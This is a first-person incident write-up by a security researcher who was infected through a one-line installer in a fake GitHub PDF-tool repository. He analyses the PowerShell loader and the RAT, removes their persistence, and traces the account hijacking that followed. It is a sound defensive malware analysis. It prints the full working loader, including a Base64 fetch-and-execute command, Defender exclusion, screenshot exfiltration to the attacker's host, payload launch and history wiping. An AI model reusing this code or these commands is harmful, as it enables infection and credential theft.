Skip to main content

When the Red Teamer Gets Pwned: Being Forced Onto the Blue-Team Side of an Incident

As an offensive security professional, I am usually on the attacking side—albeit in an authorized and legitimate capacity. Most of my previous writing has focused on red teaming, security research, and other offensive-security topics. This article is therefore unusual for me: this time, I was not the one attacking. I was the one being attacked.

I have to admit that having my personal computer compromised after executing a malicious script was somewhat embarrassing, and the incident caused a fair amount of disruption. At the same time, it became one of the more useful security lessons I have experienced firsthand. What made the incident particularly interesting was that my offensive-security background turned out to be both an advantage and a blind spot. 

It helped me reason about the person on the other side. Rather than treating every possible TTP as equally likely, I could look at the attacker's implementation choices, engineering maturity, and operational habits and use them to prioritize where to investigate first. That intuition helped me move quickly while the incident was still active. But the same background also influenced what I considered “done.” My instinct was to ask whether the payload was still running, whether the attacker still had persistence, and whether they could regain execution after a reboot. Those were important questions. They were also incomplete questions. I eventually learned that removing an attacker's ability to continue operating on a machine is not the same thing as removing the unsafe state the attacker has already created.

Part One focuses on that experience: the initial compromise, first-round malware analysis, persistence hunting, containment, and the account abuse that continued after the host itself appeared clean.

Part Two is, for lack of a better word, the counteroffensive: following the repositories, infrastructure, and public traces around the operation, then returning to the samples with better questions. No unauthorized intrusion was necessary to make the picture considerably more interesting.

Never Assume a GitHub Repository Is a Safehouse

I was looking for an open-source alternative for PDF reading and editing when I came across a GitHub repository that initially appeared reasonably credible. It had a non-trivial number of stars and forks, and the README was concise, with a one-line installation command that addressed exactly what most users want: minimal setup and immediate execution.

GitHub is generally a trustworthy platform, despite the fact that malicious repository campaigns are certainly not new. At the time, the repository did not look suspicious enough for me to stop and investigate it first, so I executed the provided one-liner.

The installation appeared to require some time. While waiting, I went back and reviewed the README more carefully. That was when several red flags became obvious:

  • Most of the README content had little or no apparent relationship to PDF software.
  • The external domain referenced by the installation command looked unusual.
  • The repository had a reasonable number of stars and forks, but the account behind it was very new.

image.png

I immediately interrupted the installation. At that point, I assumed that some execution had already occurred. Stopping the script was therefore not a remediation by itself, but there was still value in preventing whatever had not yet completed. In an active compromise, reducing the remaining exposure is better than waiting for the entire execution chain to finish. From that moment on, I treated the situation as a race against time.

Stage 1: PowerShell Delivery

The installation command retrieved and executed a remote PowerShell script through Invoke-Expression. The first-stage script was relatively small: it selected TLS 1.2 and decoded a Base64 string using FromBase64String and UTF-8 before passing the result onward.

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

$encodedCommand = "aXJtIC1VcmkgImh0dHBzOi8vc2hlbGxzLnN1L2VuY3J5cHRlZC9hcGkucHMxIiAtVXNlckFnZW50ICJhaXprSGtLdGZOZHptYXljT0pmamhEUGFOTENWWUtNTXBrQWNVeXN5SXBZakFVaE5McXNRTEd5VnlJV2ZDZ25FQmlKWWVqclpMd0N3aG1Wa0VqSXhLSGVQTVllZUVNV1hhcklua211d3JVbXpCSXMiIHwgaWV4"

$decodedCommand =
    [System.Text.Encoding]::UTF8.GetString(
        [Convert]::FromBase64String($encodedCommand)
    )

Decoding the Base64 content produced:

irm -Uri "https://shells.su/encrypted/api.ps1" `
    -UserAgent "aizkHkKtfNdzmaycOJfjhDPaNLCVYKMMpkAcUysyIpYjAUhNLqsQLGyVyIWfCgnEBiJYejrZLwCwhmVkEjIxKHePMYeeEMWXarInkmuwrUmzBIs" |
    iex

Its purpose was therefore straightforward: retrieve a second-stage PowerShell script from shells[.]su and immediately execute the response. The addresses in this article are defanged; they are evidence, not installation instructions.

One interesting detail is that the live version of this first-stage script later changed. At the time of my compromise, only the URI itself was encoded; the operator subsequently modified the delivery chain so that the complete secondary request, including the custom User-Agent, was hidden inside the Base64 blob. This suggested that the infrastructure was still being actively maintained rather than representing an abandoned one-off campaign.

Stage 2: Loader, Victim Telemetry, and Staging

The second-stage script was substantially more important because it exposed most of the initial execution chain.

# ------------------------------------ LAUNCH ------------------------------------- #

$ErrorActionPreference = 'Stop'
$ProgressPreference = 'SilentlyContinue'

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

[Net.WebRequest]::DefaultWebProxy = [Net.WebRequest]::GetSystemWebProxy()
[Net.WebRequest]::DefaultWebProxy.Credentials = [Net.CredentialCache]::DefaultNetworkCredentials


function Show-Progress {
    param(
        [int]$Percent,
        [string]$Text = ""
    )

    $esc = [char]27
    $width = 20

    $filled = [math]::Floor($width * $Percent / 100)
    $empty = $width - $filled

    $gray = "$esc[100m"
    $darkGray = "$esc[48;5;236m"
    $reset = "$esc[0m"

    [Console]::Write(
        "`r        $gray$(' ' * $filled)$reset$darkGray$(' ' * $empty)$reset $Percent% $Text"
    )
}



# ----------------------------------- VARIABLES ----------------------------------- #

$site     = "https://shells.su"
$zipUrl   = "$site/encrypted/1.zip"
$7zaUrl   = "$site/encrypted/7za.exe"
$password = '1'
$exePath  = '1/Helper.exe'

$work = Join-Path $env:TEMP "svc_$(Get-Random)"
$zip  = Join-Path $work '1.zip'
$7za  = Join-Path $work '7za.exe'
$dest = Join-Path $work 'out'


# ----------------------------------- VARIABLES+ ---------------------------------- #

$pcName            = $env:COMPUTERNAME
$userAgent         = "tlmqByUgtFbCmHjtfHJETtvEqghqrHORnDzNqWEEbXXipkrdHXJotzEvuerMxVgDiLp"

$startUrl          = "$site/start.php"
$screenUrl         = "$site/screen.php"
$endUrl            = "$site/end.php"

$firstStepText     = '[1/3] Checking for Updates...'
$secondStepText    = '[2/3] Initialization Components...'
$thirdStepText     = '[3/3] Running Application...'

$firstSubstepText  = '[SUCCESSFULLY]'
$secondSubstepText = '[SUCCESSFULLY]'
$thirdSubstepText  = '[ERROR]'

if (Test-Path $work) { Remove-Item $work -Recurse -Force }
New-Item -ItemType Directory -Path $work -Force | Out-Null


# ---------------------------------- ADMIN RIGHTS --------------------------------- #

$identity  = [Security.Principal.WindowsIdentity]::GetCurrent()
$principal = New-Object Security.Principal.WindowsPrincipal($identity)
$isAdmin   = $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)

# [STEP 1/3]:
Clear-Host
Write-Host "`n  $firstStepText" -ForegroundColor Cyan

if (-not $isAdmin) {}

if ($isAdmin) {
        Add-MpPreference -ExclusionPath $work -ErrorAction SilentlyContinue | Out-Null
}


# ---< REQUEST 1 >---------------------- GEO -------------------------------------- #

$country = [System.Globalization.RegionInfo]::CurrentRegion.TwoLetterISORegionName

filter CustomTrim { $_ -replace '[\r\n\t]', '' }

$geoServices = @(
    @{ Uri = "https://ipwho.is/?fields=country_code"; Path = "country_code" },
    @{ Uri = "https://ipapi.co";        Path = $null },
    @{ Uri = "https://ipinfo.io";             Path = $null }
)

foreach ($service in $geoServices) {
    try {
        $response = Invoke-RestMethod -Uri $service.Uri -TimeoutSec 5 -UserAgent $userAgent -ErrorAction Stop

        if ($response) {
            if ($service.Path -and $response.$($service.Path)) {
                $country = $response.$($service.Path).Trim().ToUpper()
            } else {
                $country = ($response | CustomTrim).ToUpper()
            }

            if ($country -match '^[A-Z]{2}$') {
                break
            }
        }
    }
    catch {
        continue
    }
}

# ------------------------------------- LINKS ------------------------------------- #

$startRequest  = "${startUrl}?pc=${pcName}&country=$country"
$screenRequest = "${screenUrl}?pc=${pcName}&country=$country"
$endRequest    = "${endUrl}?pc=${pcName}&country=$country"


# ---< REQUEST 2 >--------------------- START ------------------------------------- #

try {
    $startScript = Invoke-RestMethod -Uri $startRequest -TimeoutSec 15 -UserAgent $userAgent -ErrorAction SilentlyContinue | Out-Null

    if (-not [string]::IsNullOrWhiteSpace($startScript)) {
        $startBlock = [scriptblock]::Create($startScript)
        & $startBlock
    }
}
catch {
    Write-Warning "$_"
}


# ---< REQUEST 3 >-------------------- DOWNLOAD ----------------------------------- #

try {
    if (-not (Test-Path $work)) { New-Item -ItemType Directory -Path $work -Force | Out-Null }

    Invoke-WebRequest -Uri $zipUrl -OutFile $zip -UserAgent $userAgent -TimeoutSec 600 -MaximumRedirection 5
    Invoke-WebRequest -Uri $7zaUrl -OutFile $7za -UserAgent $userAgent -TimeoutSec 600 -MaximumRedirection 5
}
catch {}

# ---< REQUEST 4 >------------------- SCREENSHOT ---------------------------------- #

Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing

try {
    $bounds = [Windows.Forms.SystemInformation]::VirtualScreen
    $bmp    = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
    $gfx    = [System.Drawing.Graphics]::FromImage($bmp)

    $gfx.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)

    $ms = New-Object System.IO.MemoryStream
    $bmp.Save($ms, [System.Drawing.Imaging.ImageFormat]::Png)

    $gfx.Dispose()
    $bmp.Dispose()

    $base64 = [Convert]::ToBase64String($ms.ToArray())
    $ms.Dispose()

    $screenBody = @{
        pc    = $pcName
        image = "data:image/png;base64,$base64"
    }

    Invoke-RestMethod -Uri $screenRequest -Method Post -Body $screenBody -UserAgent $userAgent -TimeoutSec 60 -ErrorAction Stop | Out-Null
}
catch {}

# [SUBSTEP 1/3]:

for ($i = 0; $i -le 100; $i++) {
    Show-Progress $i
    Start-Sleep -Milliseconds (Get-Random -Minimum 5 -Maximum 20)
}

Show-Progress 100
Write-Host "$firstSubstepText" -ForegroundColor Green

Start-Sleep -Seconds 3


# --------------------------------- OPEN & LOGGING -------------------------------- #

# [STEP 2/3]:
Clear-Host
Write-Host "`n  $secondStepText" -ForegroundColor Cyan

try {
    if (-not (Test-Path $7za)) { throw "[7za] - Error code: 2" }
    if (-not (Test-Path $zip)) { throw "[ZIP] - Error code: 2" }

    $unpackParams = @("x", "`"$zip`"", "-o`"$dest`"", "-p$password", "-y")

    $null = & $7za x "$zip" "-o$dest" "-p$password" -y 2>&1

    if ($process.ExitCode -ne 0) {
        throw "[ERROR LOG] 7za: $($process.ExitCode)"
    }
}
catch {}


# [RUN FILE]
$exe = Join-Path $dest $exePath

try {
    if (Test-Path $exe) {
        Start-Process $exe -WorkingDirectory (Split-Path $exe) -Wait -ErrorAction Stop
    } else {
        throw "[ZIP] - Error code: 2"
    }
}
catch {
    Write-Warning "$_"
}

if (Test-Path $work) {
    Remove-Item $work -Recurse -Force -ErrorAction SilentlyContinue
}

# [SUBSTEP 2/3]:

for ($i = 0; $i -le 100; $i++) {
    Show-Progress $i
    Start-Sleep -Milliseconds (Get-Random -Minimum 10 -Maximum 25)
}

Show-Progress 100
Write-Host "$secondSubstepText" -ForegroundColor Green

Start-Sleep -Seconds 3


# ---< REQUEST 5 >--------------------- ENDING ------------------------------------ #

# [STEP 3/3]:
Clear-Host
Write-Host "`n  $thirdStepText" -ForegroundColor Cyan

try {
    $endScript = Invoke-RestMethod -Uri $endRequest -TimeoutSec 15 -UserAgent $userAgent -ErrorAction SilentlyContinue | Out-Null

    if (-not [string]::IsNullOrWhiteSpace($endScript)) {
        $endBlock = [scriptblock]::Create($endScript)
        & $endBlock
    }
}
catch {
    Write-Warning "$_"
}

# [SUBSTEP 3/3]:

for ($i = 0; $i -le 100; $i++) {
    Show-Progress $i
    Start-Sleep -Milliseconds (Get-Random -Minimum 5 -Maximum 30)
}

Show-Progress 100
Write-Host "$thirdSubstepText`n" -ForegroundColor Red

Start-Sleep -Milliseconds 500

Write-Host "  [ERROR] Failed to load DLL: keygen.dll`n  [ERROR] The specified module could not be found.`n  [ERROR] Error code: 0x8007007E`n  [ERROR] One or more dependencies may be missing.`n  [ERROR] Operation failed." -ForegroundColor Red

# ENDING SCREENSHOT
try {
    $bounds = [Windows.Forms.SystemInformation]::VirtualScreen
    $bmp    = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
    $gfx    = [System.Drawing.Graphics]::FromImage($bmp)

    $gfx.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)

    $ms = New-Object System.IO.MemoryStream
    $bmp.Save($ms, [System.Drawing.Imaging.ImageFormat]::Png)

    $gfx.Dispose()
    $bmp.Dispose()

    $base64 = [Convert]::ToBase64String($ms.ToArray())
    $ms.Dispose()

    $screenBody = @{
        pc    = $pcName
        image = "data:image/png;base64,$base64"
    }

    Invoke-RestMethod -Uri $screenRequest -Method Post -Body $screenBody -UserAgent $userAgent -TimeoutSec 60 -ErrorAction Stop | Out-Null
}
catch {}

Read-Host -Prompt "`n  Press Enter to exit"

[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()

Remove-Item (Get-PSReadlineOption).HistorySavePath -Force -ErrorAction SilentlyContinue
Set-PSReadlineOption -HistorySaveStyle SaveNothing
[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()

Its behavior can be summarized as follows:

Environment setup and privilege check
        ↓
Temporary working directory / attempted Defender exclusion
        ↓
Country and host reconnaissance
        ↓
Start callback / attempted server-supplied PowerShell execution
        ↓
Encrypted payload archive and 7-Zip downloaded
        ↓
Desktop screenshot collection and exfiltration
        ↓
Payload extraction and execution
        ↓
Temporary artifact cleanup
        ↓
End callback / attempted server-supplied PowerShell execution
        ↓
Second screenshot and PowerShell history cleanup

The script configured TLS 1.2 and explicitly inherited the system proxy together with the current user's default network credentials:

[Net.WebRequest]::DefaultWebProxy =
    [Net.WebRequest]::GetSystemWebProxy()

[Net.WebRequest]::DefaultWebProxy.Credentials =
    [Net.CredentialCache]::DefaultNetworkCredentials

This is a small but notable implementation detail. It improves compatibility with environments where outbound HTTP traffic must traverse an authenticated corporate proxy. It does not mean that the malware specifically targeted enterprises, but the author had considered environments beyond a simple home network.

The loader then defined the staging locations:

site:       hxxps://shells[.]su
archive:    /encrypted/1.zip
extractor:  /encrypted/7za.exe
password:   1
work:       %TEMP%\svc_<random>
output:     %TEMP%\svc_<random>\out\

In the version I recovered during the incident, the final executable was 1.exe. The later loader snapshot instead expected 1/Helper.exe. That difference is important for the timeline: later snapshots should not be treated as byte-for-byte representations of the version that infected my machine.

Defender Evasion

If the PowerShell process was already running with administrative privileges, the loader attempted to exclude its temporary working directory from Windows Defender:

Add-MpPreference -ExclusionPath $work -ErrorAction SilentlyContinue

The later version did not actually perform an elevation attempt when the user was non-administrative:

if (-not $isAdmin) {}

This is another area where the delivery chain changed over time. The incident-time notes recorded a RunAs relaunch attempt in the earlier script; that depended on user approval, not a silent UAC bypass. The later reverse engineering of the executable also identified privilege-related functionality in the RAT itself, making it plausible that some responsibilities had shifted away from the PowerShell layer. Plausible, however, is not the same as having recovered the operator's development history.

Victim Registration and Geographic Profiling

Before downloading the executable payload, the loader attempted to determine the victim's country. It first used the system region as a fallback, then queried public geolocation services including ipwho.isipapi.co, and ipinfo.io.

It constructed three staging URLs:

/start.php?pc=<computer-name>&country=<country>
/screen.php?pc=<computer-name>&country=<country>
/end.php?pc=<computer-name>&country=<country>

At first glance, these endpoints appeared to serve primarily as victim-registration and telemetry infrastructure. The staging server received the computer name and country, while screen.php was used separately for screenshot exfiltration. Closer inspection of start.php and end.php, however, revealed an additional capability. The loader attempted to capture the response and execute it as PowerShell:

$startScript = Invoke-RestMethod -Uri $startRequest ... | Out-Null

if (-not [string]::IsNullOrWhiteSpace($startScript)) {
    $startBlock = [scriptblock]::Create($startScript)
    & $startBlock
}

The same pattern appeared later with end.php. Because the requests carried pc and country, the server had victim-specific attributes available when generating its response. In principle, this could support different follow-on actions for different hosts or locations. Without the server-side PHP implementation, I cannot confirm whether such selective behavior was actually implemented.

There was, however, a significant implementation bug. Piping the result into Out-Null discarded the HTTP response before it could be assigned to $startScript. The request itself would still be sent, so the server would still receive the victim information, but the subsequent execution branch would have no response to execute. The same mistake affected $endScript. The operator had apparently built a server-controlled execution path and then accidentally disabled it. In my case, that path appears to have failed because of the attacker's own bug—not because of anything I did during containment. That part was luck.

The staging infrastructure therefore served victim identification, screenshot collection, and an attempted server-controlled PowerShell mechanism. The RAT's runtime C2 was separate from this layer.

Screenshot Exfiltration

The loader captured the complete Windows virtual desktop using [Windows.Forms.SystemInformation]::VirtualScreen and $gfx.CopyFromScreen(...). The bitmap was encoded as PNG, converted to Base64, and submitted to screen.php with the computer name:

$screenBody = @{
    pc    = $pcName
    image = "data:image/png;base64,$base64"
}

In the later snapshot, this happened once before the executable payload was launched and again near the end of the fake installation process. If the requests succeeded, whatever was visible across my displays had already been exposed. There was no realistic way to “undo” that part. That realization shaped my immediate response priorities. I divided the situation into damage that had already happened and adversary activity that I could still stop. The screenshots belonged to the first category. The RAT process, persistence, and C2 connectivity belonged to the second, so I focused on the latter.

At the time, this seemed like the obvious prioritization. What I had not yet appreciated was that some stolen information does more than describe the past: it continues granting access. That distinction would become unpleasantly relevant after cleanup

Payload Delivery

The loader downloaded /encrypted/1.zip and /encrypted/7za.exe, then extracted the password-protected ZIP using the password 1. Whatever else that password was intended to accomplish, secrecy from the recipient was clearly not one of its strengths.

The extracted payload was launched using:

Start-Process $exe `
    -WorkingDirectory (Split-Path $exe) `
    -Wait

That WorkingDirectory detail later became relevant during cleanup because the temporary extraction directory remained locked by processes holding handles to it. The directory's continued existence was an investigative clue, not by itself proof of a second persistent payload.

User Deception

The script attempted to make the execution look like an ordinary installer or updater. It displayed three stages:

[1/3] Checking for Updates...
[2/3] Initialization Components...
[3/3] Running Application...

These were accompanied by artificial progress bars and randomized sleep intervals. At the end of the sequence, it deliberately printed:

[ERROR] Failed to load DLL: keygen.dll
[ERROR] The specified module could not be found.
[ERROR] Error code: 0x8007007E
[ERROR] One or more dependencies may be missing.
[ERROR] Operation failed.

This was not a genuine installation failure. It was part of the deception. At the simplest level, the message explained why the expected application never appeared: the crack or application had failed because one of its dependencies was missing. Meanwhile, the malicious execution chain had already run. The fake error did something more useful than making the script look like a broken installer. It supplied an explanation that could bring the victim's investigation to a premature end.

From the victim's perspective:

Download software → Run installer → keygen.dll is missing
                  → Installation failed → Find another download

From the attacker's perspective:

Execute loader → Reconnaissance → Screenshot exfiltration
               → RAT deployment → Fake DLL error

The deception did not need to withstand malware analysis. It did not even need to convincingly hide every malicious artifact. It only needed to stop the victim from questioning the apparent cause of the failed installation. If an Instagram, Steam, or Discord account began behaving strangely days later, there would be little reason to connect it with an apparently unrelated installation failure.

Anti-Forensics

Finally, the loader attempted to erase PowerShell command history:

[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()

Remove-Item (Get-PSReadlineOption).HistorySavePath `
    -Force `
    -ErrorAction SilentlyContinue

Set-PSReadlineOption -HistorySaveStyle SaveNothing

[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()

This targets the user's PSReadLine history, including ConsoleHost_history.txt. It is useful against casual inspection, but it is far from comprehensive forensic cleanup. It does not remove independent evidence that may have been recorded in PowerShell Operational logs, process-creation telemetry, EDR records, network logs, or other host artifacts. The code was pragmatic and sometimes error-prone rather than elegant. During extraction, it checked $process.ExitCode despite never assigning $process; the earlier Out-Null mistake was a more consequential example of the same uneven engineering.

Hunting the Payload and Its Persistence

With both PowerShell stages understood, I had a reasonably clear picture of the initial compromise. Host information had been submitted to the staging infrastructure, screenshots had likely been exfiltrated, and the executable payload had already been launched. The objective was no longer to prevent the compromise, but to contain what was still active. Fortunately, the second-stage script exposed the extraction location:

%TEMP%\svc_<random>\out\1\1.exe

I preserved a copy as a sealed sample for later analysis, then removed the executable from the original delivery location. Removing the initial payload, however, was obviously not sufficient. By that point, I had to assume that persistence had already been established.

There were essentially two ways forward: enumerate plausible persistence mechanisms manually, or reverse engineer the sample and let the malware tell me what it had done. The more practical answer was to do both in parallel. I submitted the preserved sample to sandbox/static-analysis workflows and also used AI-assisted reverse engineering with GPT-5.6 Sol and Opus 5. I did not treat either model as an oracle. An automated pass over an obfuscated malware sample can miss quite a lot. But even an incomplete analysis can save substantial time during an active incident by identifying functions, strings, API usage, persistence paths, and C2 behavior while the human investigator focuses on the live host.

That was the purpose of the first pass: actionable triage, not an exhaustive account of every capability. Part Two returns to exactly what remained unanswered.

Prioritizing the Persistence Search

The difficulty with persistence hunting is that the search space is enormous. A Windows implant can survive through scheduled tasks, services, Run keys, startup folders, WMI subscriptions, Winlogon modifications, IFEO, COM hijacking, DLL-loading mechanisms, and many other techniques. I therefore needed to prioritize. This was one of the stages where my offensive-security background gave me a genuine advantage.

By this point, the PowerShell stages had revealed quite a lot about the engineering style surrounding the operation: Add-MpPreference, temporary working directories, an external copy of 7za.exe, direct network requests, and several visible programming mistakes. I found myself asking the same kind of question I might ask during an offensive engagement:

If I were building this at approximately the level of engineering maturity I had observed so far, what would I use?

Scheduled tasks and other conventional boot/logon mechanisms seemed like more probable starting points than an elaborate COM-hijacking chain or a fragile, obscure persistence technique. This was not evidence. It was a heuristic—a bet on the attacker's implementation choices. A crude PowerShell loader does not prove that the native payload behind it is equally crude. Different components can be written by different developers or borrowed from different projects; the executable would indeed prove more protected and capable than the surrounding script initially suggested.

The intuition changed my search order. It did not justify excluding everything else. In this case, however, the bet paid off quickly. I identified a second copy of the payload at:

C:\ProgramData\Windows\Microsoft\RuntimeBroker.exe

The location was chosen to resemble a legitimate Windows component. The parent directory had also been given Hidden and System attributes. More importantly, the supposedly separate RuntimeBroker.exe was not a different executable at all: its hash matched the original 1.exe. Later reverse engineering clarified the self-copy sequence. The filesystem timeline already supplied a particularly useful connection:

2026-08-16, local time (EDT)
23:44:56  RuntimeBroker.exe created
23:44:57  Four malicious scheduled tasks created

The four tasks were:

\Microsoft\Location\MicrosoftUpdaterMachineCore
\Microsoft\Windows\EDP\ScheduledDef
\Microsoft\Windows\RegisterDeviceAccountChange\ProgramDataUpdate
\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTaskWindowsLogins

All four launched the same RuntimeBroker.exe. One used a repeating 30-minute trigger; the remaining three used boot triggers. The definitions ran under the built-in Administrator SID (...-500) with InteractiveToken and HighestAvailable. The retained task XML and timestamps—not just the names—were the important evidence. Deeper reverse engineering later identified Task Scheduler COM usage rather than a simple schtasks.exe command. This was a useful reminder not to confuse a conventional objective with an absence of implementation skill.

The sample also stored C2 configuration under HKCU\Software\Microsoft\Event and the value was System. That was configuration storage, not another way to start the malware. The execution persistence came from the scheduled tasks.

The RAT also created the mutex:

Global\RuntimeBrokerAds

to enforce a single running instance.

This time, my initial bet had been useful. The important words are this time.

Parallel Reverse Engineering

Around the same time, the automated analyses began returning useful results. Neither independently recovered the complete picture, but their findings overlapped with artifacts I was seeing on the host and exposed additional capabilities. The emerging picture was a custom x64 C++ RAT/backdoor. Its runtime C2 used a WebSocket-based channel to 145.63.134[.]94:406; a secondary HTTP task channel used port 408. The analysis also identified support for updated *.duckdns.org endpoints. Protocol strings included:

ready;      getinfo      ping       pong
task        createtask   closetask  task_id;
task_done;  update

The early analysis associated command execution with the straightforward primitive cmd.exe /C <command>. The WebSocket handshake contained an especially distinctive artifact:

Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

That is the example nonce in RFC 6455, not a newly randomized key. In this context, its repeated use was a useful network indicator. It was not, on its own, a malware-family attribution

The binary was also more heavily protected than the PowerShell loader suggested. The analysis identified encrypted strings, dynamic API resolution, control-flow and MBA-style obfuscation, and anti-analysis checks covering multiple virtualized environments—including an explicit anyrun GPU indicator. Other recovered references and paths involved process-critical behavior, privilege adjustment, WMI-based antivirus discovery, AMSI-related manipulation, and native memory/thread APIs such as NtAllocateVirtualMemoryNtWriteVirtualMemory, and NtCreateThreadEx. Process names including winlogonsmartscreen, and explorer.exe were also relevant to the early analysis. These were leads into the implementation, not proof that every associated technique successfully ran on my workstation.

I would not characterize the result as an especially advanced implant by high-end red-team standards. At the same time, it was certainly not trivial malware: custom obfuscation, dynamic API resolution, sandbox checks, redundant scheduled tasks, and a functional tasking protocol were quite enough to cause trouble. In other words, it did not need to be elegant to be dangerous.

Knowing that port 408 existed was not the same as understanding the complete module-delivery path. At the time, I had enough to hunt the foothold. The unresolved details would become the starting point for a much more productive second analysis.

Multiple Persistence Mechanisms, but One Executable

Every autostart mechanism I identified converged on the same executable:

1.exe
   ↓ self-copy
C:\ProgramData\Windows\Microsoft\RuntimeBroker.exe
   ↑
   ├── MicrosoftUpdaterMachineCore
   ├── ScheduledDef
   ├── ProgramDataUpdate
   └── SvcRestartTaskWindowsLogins

That was probably the most reassuring technical finding during containment. There were multiple ways to relaunch the malware, but only one on-disk executable behind the identified autostarts. That wording matters. It was not proof that the executable had never downloaded another module, injected code, or collected information before I arrived. It meant that the persistence paths I had found shared a dependency. From the attacker's perspective, this created a single point of failure: once those tasks were removed and the RuntimeBroker.exe copy was deleted, those particular relaunch paths became useless.

I have to admit that this realization produced a small amount of cold sweat in retrospect. Had the malware installed several independent footholds—a scheduled-task executable, a service binary, a WMI-launched script, and a separate side-loaded component—manual containment would have been considerably more difficult. Missing a single independent branch could have allowed the attacker to regain execution and rebuild the others. This incident was more forgiving.

Verification After Cleanup

I did not stop after removing the four known scheduled tasks and the persistent executable. I continued checking the other common persistence surfaces: services, Run/RunOnce keys, startup folders, Winlogon configuration, WMI permanent event subscriptions, and suspicious scheduled-task actions. Nothing else produced an independent executable or an additional autostart path associated with the malware. That gave me reasonable confidence that the identified host-level persistence had been removed. It was not a mathematical proof that the machine was pristine.

At the time, it nevertheless felt like the end of the incident. It was not.

The Aftermath

After removing the known persistence mechanisms and verifying that the persistent payload was no longer present, I considered the host-level incident contained. I was exhausted and, at that point, reasonably confident that the immediate threat had been removed. But that confidence did not last very long.

When I later checked Discord, I found that my primary account had been signed out. Attempts to authenticate failed. Reviewing the associated email account immediately explained why: there were unread messages containing a password-reset request, confirmation that the password had changed, and a separate notification about activity that violated Discord's policies.

image.png

image.png

image.png

The account had been taken over. Because the password reset had been completed through the associated mailbox, the email account itself had very likely been accessed as well. Google had also generated a suspicious-activity warning.

image.png

Fortunately, I still retained control of the mailbox. I changed its credentials and security settings, recovered the Discord account through support, and subsequently hardened both accounts.

Unfortunately, that was not the end of the aftermath.

Account Abuse Across Multiple Services

A series of additional incidents followed across services used on the compromised workstation:

  • Instagram was hijacked but not fully seized. The existing account state was used to send spam to contacts, including promotion of marawex[.]com.

image.png

image.png

  • Steam was similarly abused without a full takeover. Spam was sent through the account, and an unfamiliar account—shown in the later preserved profile as 661SAVAGEEE—was added to Family Sharing. Its subsequent ARC Raiders use and cheating-related enforcement had consequences for my account as well. Part Two examines that trail without equating the downstream account with the malware operator.

image.png

image.png

image.png

  • A second Discord account sent spam without a password change. I noticed quickly because my two accounts were connected. The sender then tried to remove the conversation from the compromised account's side. The promoted domain was tetsobet[.]com.

image.png

image.png

  • Amazon resisted an attempted full takeover but still permitted fraudulent orders. A USD 25 gift card succeeded; a USD 100 attempt was blocked. The actor also ordered vitamins and cat food similar to my previous purchases, apparently trying to blend into my purchasing history.

image.png

image.png

image.png

image.png

  • Cursor accumulated approximately USD 70 in unauthorized usage. Codex consumed part of my weekly allowance. Claude may also have been exposed: Anthropic detected suspicious activity and invalidated the session before I observed obvious material impact.

image.png

image.png

image.png

The combination of gift-card fraud and familiar household purchases was particularly unpleasant. Whoever was using the account had not merely found a password; they could inspect enough of its history to make the activity look less out of place. Whether that was an attempt to influence fraud controls or simply delay my noticing it remains an inference.

The behavior differed considerably between services. Some actors simply used an existing session to send spam. Others attempted financial fraud, consumed paid AI resources, or abused gaming access. Some avoided changing passwords; others attempted to seize the account outright.

That variation became an important clue. The initial malware execution might have been the collection stage, with the resulting access distributed or consumed downstream. I did not need to assume that one person was personally handling every later account event.

Was the Machine Still Compromised?

The continuing incidents raised an uncomfortable question: had I actually removed the malware completely? I repeatedly revisited the host, checking whether I had missed another executable, persistence mechanism, injected component, or secondary payload. Continued account abuse naturally made incomplete remediation an obvious hypothesis.

As more evidence accumulated, however, a different explanation became stronger. The affected services were ones for which authenticated state already existed on the workstation. Visiting them from my browser often did not require a fresh login. The browser already possessed a valid session, trusted-device state, token, or other authentication material.

image.png

I also found suspicious authenticated sessions associated with other geographic regions on services such as ChatGPT and Steam, despite MFA being enabled. MFA at login does not necessarily invalidate an already authenticated session if its bearer material is stolen and remains usable. Steam provided an especially useful example. Its security page associated the suspicious browser activity with an authorization originally established on August 3, before the date of infection:

image.png

That was consistent with reuse of previously authorized browser state, rather than necessarily learning my password and defeating Steam Guard again. It also made the sequence more coherent: a new abuse event did not have to mean a new compromise of the workstation.

There were application-specific authentication artifacts to consider as well. Some tools retain reusable credentials locally. The exact files, storage modes, and protections differ; their presence cannot simply be assumed for every installation. The later module analysis would turn several of those possibilities into concrete collection targets.

Taken together, the evidence pointed toward a more likely explanation:

The continued account abuse was primarily the aftermath of authentication material stolen during the original compromise, rather than evidence that the RAT itself was still persistently controlling the machine.

Removing the Malware Was Not the Same as Remediating the Incident

My initial response had been heavily host-centric. I had concentrated on questions such as:

  • Is the payload still running, and where did it establish persistence?
  • What launches it after reboot, and are there additional copies?
  • Is the C2 connection still active?

Those were valid questions. What I had not asked early enough was the second set:

  • What had already been stolen before the malware was removed?
  • Which authentication artifacts were still valid, and which sessions needed revocation?
  • Which services should now be treated as independently exposed?

Looking back, I do not think this was simply a forgotten checklist item. My response sequence had been internally consistent: interrupt execution, understand the loader, locate the payload, preserve the sample, identify persistence, remove the foothold, and verify that it did not return. Almost every action was optimized around one objective: remove the attacker's ability to continue operating on the host. The objective makes intuitive sense from an offensive-security perspective.

During a red-team engagement, a credential, cookie, or token is usually a path rather than a destination. I obtain one because it allows me to authenticate somewhere else, escalate privileges, move laterally, or continue toward an objective. Its value is normally understood in relation to the access chain it enables. An information-stealer ecosystem has a different economic model. Credentials and authenticated sessions do not have to be intermediate steps toward continued control of the original machine. They can themselves be inventory. They can be collected, packaged, distributed, sold, or consumed by someone who has never interacted with the compromised endpoint and may do so long after the original malware operator has disappeared. The adversary therefore did not necessarily need to come back.

That was the mismatch in my original threat model. I was asking: Can the attacker still act on this machine? Recovery also required: What remains unsafe even if the attacker never touches this machine again?

From the first perspective, my remediation looked successful:

Known RAT and persistent executable → removed
